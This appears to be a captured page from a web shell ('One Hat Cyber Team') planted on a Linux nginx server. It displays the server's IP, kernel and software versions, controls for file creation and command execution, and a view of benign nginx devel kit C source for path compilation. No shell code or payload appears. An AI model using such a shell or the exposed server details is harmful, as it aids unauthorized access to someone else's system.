⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.124
Server IP:
50.28.103.30
Server:
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software:
nginx/1.28.0
PHP Version:
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
server
/
nginx
/
src
/
ngx_devel_kit
/
src
/
View File Name :
ndk_complex_path.c
ndk_http_complex_path_value_t ndk_empty_http_complex_path_value = {{0,NULL},0}; ngx_int_t ndk_http_complex_path_value_compile (ngx_conf_t *cf, ngx_http_complex_value_t *cv, ngx_str_t *value, ngx_uint_t prefix) { ngx_http_compile_complex_value_t ccv; ngx_memzero (&ccv, sizeof(ngx_http_compile_complex_value_t)); ccv.cf = cf; ccv.value = value; ccv.complex_value = cv; switch (prefix) { case 1 : ccv.root_prefix = 1; break; case 2 : ccv.conf_prefix = 1; break; } ndk_path_to_dir_safe (value, 1, 0); if (!value->len) return NGX_OK; return ngx_http_compile_complex_value (&ccv); } ngx_array_t * ndk_http_complex_path_create_compile (ngx_conf_t *cf, ngx_str_t *path, ngx_uint_t prefix) { ndk_http_complex_path_elt_t *cpe; ngx_array_t *a; ngx_int_t n; u_char *m, *s, *e; ngx_str_t value; n = ndk_strcntc (path, ':') + 1; a = ngx_array_create (cf->pool, n, sizeof (ndk_http_complex_path_elt_t)); if (a == NULL) { return NULL; } s = path->data; e = s + path->len; while (s < e) { m = s; while (m < e && *m != ':') m++; if (m == s) { s = m+1; continue; } cpe = ngx_array_push (a); if (cpe == NULL) { return NULL; } if (*s == '#') { s++; cpe->dynamic = 1; } else { cpe->dynamic = 0; } value.data = s; value.len = m - s; if (ndk_http_complex_path_value_compile (cf, &cpe->val, &value, prefix) == NGX_ERROR) return NULL; s = m+1; } return a; } char * ndk_conf_set_http_complex_path_slot (ngx_conf_t *cf, ngx_command_t *cmd, void *conf) { char *p = conf; ngx_str_t *path; ngx_array_t *a; ngx_conf_post_t *post; ndk_http_complex_path_t *cp; cp = (ndk_http_complex_path_t *) (p + cmd->offset); if (cp->a != NGX_CONF_UNSET_PTR) { return "is duplicate"; } path = cf->args->elts; path++; cp->a = ndk_http_complex_path_create_compile (cf, path, cp->prefix); if (cp->a == NULL) /* TODO : log */ return NGX_CONF_ERROR; if (cmd->post) { post = cmd->post; return post->post_handler (cf, post, a); } return NGX_CONF_OK; }